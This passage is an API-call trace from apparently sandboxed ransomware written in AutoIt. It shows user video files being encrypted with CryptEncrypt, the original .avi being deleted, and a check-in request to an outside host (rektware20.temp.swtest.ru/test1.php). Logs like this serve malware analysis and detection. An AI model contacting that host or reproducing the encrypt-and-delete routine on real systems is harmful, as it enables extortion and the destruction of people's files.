lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0066.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621a50, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0066.260] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0066.260] CryptEncrypt (in: hKey=0x164c8f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x18826b0*, pdwDataLen=0x130e618*=0x5695, dwBufLen=0x56a0 | out: pbData=0x18826b0*, pdwDataLen=0x130e618*=0x56a0) returned 1 [0066.260] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.261] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.261] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.261] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.261] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.261] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.261] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0066.261] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.261] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0066.261] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.261] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.261] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.261] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.261] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0066.261] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.261] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.261] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.261] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.262] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.262] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.262] WriteFile (in: hFile=0x2ac, lpBuffer=0x187d010*, nNumberOfBytesToWrite=0x56a0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x187d010*, lpNumberOfBytesWritten=0x130f01c*=0x56a0, lpOverlapped=0x0) returned 1 [0066.263] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.263] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.263] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0066.263] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0066.263] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.263] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0066.263] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0066.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621498, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0066.264] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0066.264] CryptDestroyKey (hKey=0x164c8f0) returned 1 [0066.264] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0066.264] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0066.264] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0066.264] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0066.264] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0066.264] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0066.264] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0066.264] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0066.264] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.264] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0066.264] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0066.264] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0066.264] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0066.264] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0066.264] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.264] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0066.264] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.265] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0066.265] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.265] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.265] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.265] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.265] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0066.265] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.265] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.265] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0066.265] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0066.265] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0066.265] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0066.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0066.265] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0066.266] CryptReleaseContext (hProv=0x17a9f00, dwFlags=0x0) returned 1 [0066.266] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.266] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.266] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0066.266] FreeLibrary (hLibModule=0x74c60000) returned 1 [0066.266] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.266] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.266] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.266] CloseHandle (hObject=0x3bc) returned 1 [0066.267] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.267] CloseHandle (hObject=0x2ac) returned 1 [0066.270] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.270] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0066.270] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\i_aWroMQtx2NoJ1yQ.avi", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\i_aWroMQtx2NoJ1yQ.avi", lpFilePart=0x0) returned 0x47 [0066.270] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\i_aWroMQtx2NoJ1yQ.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb\\i_awromqtx2noj1yq.avi")) returned 0x20 [0066.271] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\i_aWroMQtx2NoJ1yQ.avi", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c630 [0066.271] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\i_aWroMQtx2NoJ1yQ.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb\\i_awromqtx2noj1yq.avi")) returned 1 [0066.272] FindNextFileW (in: hFindFile=0x164c630, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0066.272] FindClose (in: hFindFile=0x164c630 | out: hFindFile=0x164c630) returned 1 [0066.273] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0066.273] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.273] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.273] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.273] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\jDrcvbImfDMHBfT-.mp4", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cb30 [0066.273] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0066.273] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.273] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0066.273] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0066.273] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0066.273] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0066.273] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f70, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620f70, lpdwBufferLength=0x130ef8c) returned 1 [0066.273] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0066.273] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0066.273] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0066.274] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0066.274] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0066.274] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0066.274] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292e0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0066.274] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629310, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629310*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0066.274] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0066.275] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0066.275] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0066.275] CloseHandle (hObject=0x0) returned 0 [0066.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\jDrcvbImfDMHBfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\jDrcvbImfDMHBfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\jDrcvbImfDMHBfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\jDrcvbImfDMHBfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\jDrcvbImfDMHBfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\jDrcvbImfDMHBfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\jDrcvbImfDMHBfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\jDrcvbImfDMHBfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\jDrcvbImfDMHBfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\jDrcvbImfDMHBfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\jDrcvbImfDMHBfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\jDrcvbImfDMHBfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\jDrcvbImfDMHBfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\jDrcvbImfDMHBfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\jDrcvbImfDMHBfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\jDrcvbImfDMHBfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\jDrcvbImfDMHBfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\jDrcvbImfDMHBfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\jDrcvbImfDMHBfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Videos\\So-1KCafWr2NHN2gajyB\\jDrcvbImfDMHBfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Videos\\So-1KCafWr2NHN2gajyB\\jDrcvbImfDMHBfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Videos\\So-1KCafWr2NHN2gajyB\\jDrcvbImfDMHBfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Videos\\So-1KCafWr2NHN2gajyB\\jDrcvbImfDMHBfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ideos\\So-1KCafWr2NHN2gajyB\\jDrcvbImfDMHBfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="deos\\So-1KCafWr2NHN2gajyB\\jDrcvbImfDMHBfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="eos\\So-1KCafWr2NHN2gajyB\\jDrcvbImfDMHBfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="os\\So-1KCafWr2NHN2gajyB\\jDrcvbImfDMHBfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\So-1KCafWr2NHN2gajyB\\jDrcvbImfDMHBfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\So-1KCafWr2NHN2gajyB\\jDrcvbImfDMHBfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="So-1KCafWr2NHN2gajyB\\jDrcvbImfDMHBfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="o-1KCafWr2NHN2gajyB\\jDrcvbImfDMHBfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="-1KCafWr2NHN2gajyB\\jDrcvbImfDMHBfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1KCafWr2NHN2gajyB\\jDrcvbImfDMHBfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="KCafWr2NHN2gajyB\\jDrcvbImfDMHBfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CafWr2NHN2gajyB\\jDrcvbImfDMHBfT-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.276] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="afWr2NHN2gajyB\\jDrcvbImfDMHBfT-.mp4", cchCount1=3, lpString2=".xd", 